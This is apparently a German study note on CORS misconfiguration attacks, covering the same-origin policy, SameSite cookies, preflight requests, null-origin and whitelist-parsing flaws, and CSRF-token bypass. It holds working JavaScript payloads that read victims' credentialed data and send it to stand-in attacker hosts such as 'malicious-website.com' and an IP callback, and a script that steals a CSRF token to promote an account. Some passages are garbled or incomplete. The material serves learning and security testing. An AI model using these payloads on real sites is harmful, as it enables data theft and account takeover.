Cross Origin Ressource Sharing (CORS)
CORS kontrolliert den Zugriff auf externe Resourcen. Dafür erweitert es die Flexibilität von "same-origin policy (SOP)".
Die SOP's Policy blockiert dabei den Zugriff für Javascript auf extern geladene Ressourcen.
Die Anfragen werden aber trotzdem durchgeführt.
So ist es auch möglich mithilfe von Javascript ein img Tag zu erstellen, welches ein Bild von einer externen Ressource lädt ohne geblockt zu werden.
Allerdings bietet es auch die Möglichkeit für cross-domain attacken, wenn eine CORS Policy schlecht konfiguriert und implementiert ist. Dabei ist CORS kein Schutz gegen cross-origin Attacken, wie CSRF.
Da die same-origin policy sehr restriktiv ist und gewünschte Zugriffe auf externe Webseiten für manche Anwendungen benötigt wird, können mit der CORS Policy hierfür Regeln erstellt werden. Dafür hat die CORS mehrere Header, welche vertrauenswürdige Resourcen und zugehörige einstellungen.
Angriffe
Manche Anwendungen werden der einfachheit so implementiert, dass diese die Webseite aus der Origin auslesen und diese Webseite dann einfach in der CORS Policy erlauben:
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText; };
Fehler beim Parsen des Origin Headers
Manche Applikationen haben eine whitelist mit gültigen Domains. Oft werden dabei auch subdomains zugelassen. Diese Überprüfung kann fehlerhaft implementiert sein. Beispielsweise kann überprüft werden, ob die Domain mit normal-website.com endet. Ein Angreifer kann sich dann einfach die Domain hackersnormal-website.com registrieren.
Auch kann es passieren, dass null zur Entwicklung gewhitelistet wird. Dieser Wert wird in den folgenden Fällen benutzt:
- Cross-origin redirects
- Anfragen von serializierten Daten
- Anfragen mit dem
file:Protokoll - Cross-origin Anfragen in der Sandbox
Eine Möglichkeit, dies auszunutzen, ist es ein iframe zu verwenden und den Inhalt zu sandboxen:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
Ausnutzen der weniger restriktiveren navigation
Die Navigation ist weniger restriktiv, da es sich hierbei um Typische Nutzer Interaktionen handelt.
Sollte diese restriktiv sein ist die Benutzererfahrung schlechter.
Daher kann diese benutzt werden, wenn andere Methoden blockiert sind.
So wird beispielsweise der folgende Request nicht von Cors blockiert, da es sich hier um einen Cors Request handelt. Auch die Sops erlaubt dieses Verhalten.
window.location = "https://site.htb/add/admin";
Ausnutzen der Vertrauensbeziehungen mit XSS
Hat ein Angreifer eine Website die anfällig gegenüber XSS ist und die von einer anderen als Vertrauenswürdig angesehen wird. Kann ein Angreifer Javascript nutzen, um von dieser Webseite sensible Informationen zu erhalten.
SameSite Cookie
Das SameSite Cookie sorgt dafür, dass Cookies nicht zu anderen Webseiten geschickt werden.
Dabei gibt es drei Direktiven.
Die Direktive None deaktiviert die SameSite Funktionalität.
Allerdings funktioniert die Direktive bei manchen Browsern nicht, wenn nicht auch das Secure Flag mitgeschickt wird.
Dann gibt es noch die Lax Direktive die cross site Anfragen verhindert.
Bei dieser Direktive werden Cookies nur über sichere HTTP Methoden wie GET geschickt.
Zudem werden die Cookies nur bei der Top-Level Navigation mitgesendet, also wenn der Benutzer auf einen Link klickt der zu einer anderen Webseite führt.
Dabei ist die Lax Direktive die Standard Direktive.
Als letztes gibt es noch die Strict Direktive.
Bei der Strict Direktive werden die Cookies nur gesendet, wenn die Anfrage URL mit der des Cookies übereinstimmt.
Preflight Requests
Alle Anfragen die keine simplen Anfragen sind schicken einen sogenannten Preflight Request vorraus.
Hierbei handelt es sich um eine Anfrage die die OPTIONS Methode und die drei Header:
- Access-Control-Request-Method Informiert über die genutzte Request Methode der Anfrage
- Access-Control-Request-Header Informiert über die genutzten Header der Anfrage

TLS aufbrechen mit CORS
Eine Anwendung, die cross origin Anfragen von einer http Origin erlaubt kann Angegriffen werden.
1. Der Nutzer macht irgendeinen HTTP request.
2. Der Angreifer injiziert eine Weiterleitung zu http://trusted-subdomain.vulnerable-website.com
3. Der Angreifer fängt die Anfrage ab, die der Nutzer nun macht.
4. Der Angreifer gibt eine gespoofte Antwort zurück, welche eine CORS Anfrage zu der verwundbaren Webseite https://vulnerable-website.com enthält.
5. Der Browser des Nutzers macht eine CORS Anfrage mit der Origin http://trusted-subdomain.vulnerable-website.com
6. Die Anwendung erlaubt diese Anfrage, da sie gewhitelisted ist.
7. Die sensitiven Daten werden in der Antwort zurückgegeben.
8. Die gespoofte Webseite kann die sensiblen Daten lesen und zu jeder beliebigen Domain weiterleiten.
Intranets und CORS ohne Credentials
Die meisten CORS Angriffe, basieren auf der Anwesenheit des Antwort Headers:
Access-Control-Allow-Credentials: true
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Sensible Daten trotz CORS
Ist es nicht möglich CSRF zu benutzen, können trotzdem sensible Daten exfiltriert werden. Dies zeigt das folgende Codebeispiel, welches zuerst eine sensible Seite öffnet und die Antwort dann an den Angreifer weiterleitet:
<html>
<head>
<script>
var url = "https://cors-sandbox/code";
function get_code() {
fetch(url, {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
fetch('http://your ip address/callback?' + encodeURIComponent(JSON.stringify(data)), {
mode: 'no-cors'
});
});
}
get_code();
</script>
</head>
<body></body>
</html>
Vertrauenswürdige null Herkunft
Der Access-Control-Allow-Origin Header erlaubt auch die Nutzung des null Wertes.
Dieser Wert sollte nicht in der Praxis genutzt werden, falls doch kann dies sehr leicht ausgenutzt werden, indem der Origin Header auf null gesetzt wird.
Dies ist beispielsweise in einer Sandbox möglich:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.response);
};
xhr.send();
</script>"></iframe>
Umgehen von CSRF Token
Vorraussetzungen
Das Cookie muss die SameSite Direktive auf None setzen, der Cookie muss zudem das Secure Flag gesetzt haben.
Zudem muss die Verbindung verschlüsselt sein.
Falls es eine CORS Fehlkonfiguration gibt kann es möglich sein CSRF zu umgehen. Dafür müssen Cookies bei einer Cross-Origin Anfrage mitgeschickt werden. Dann ist es möglich die Same-Origin policy und CSRF Verteidigungen zu umgehen.
<script>
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>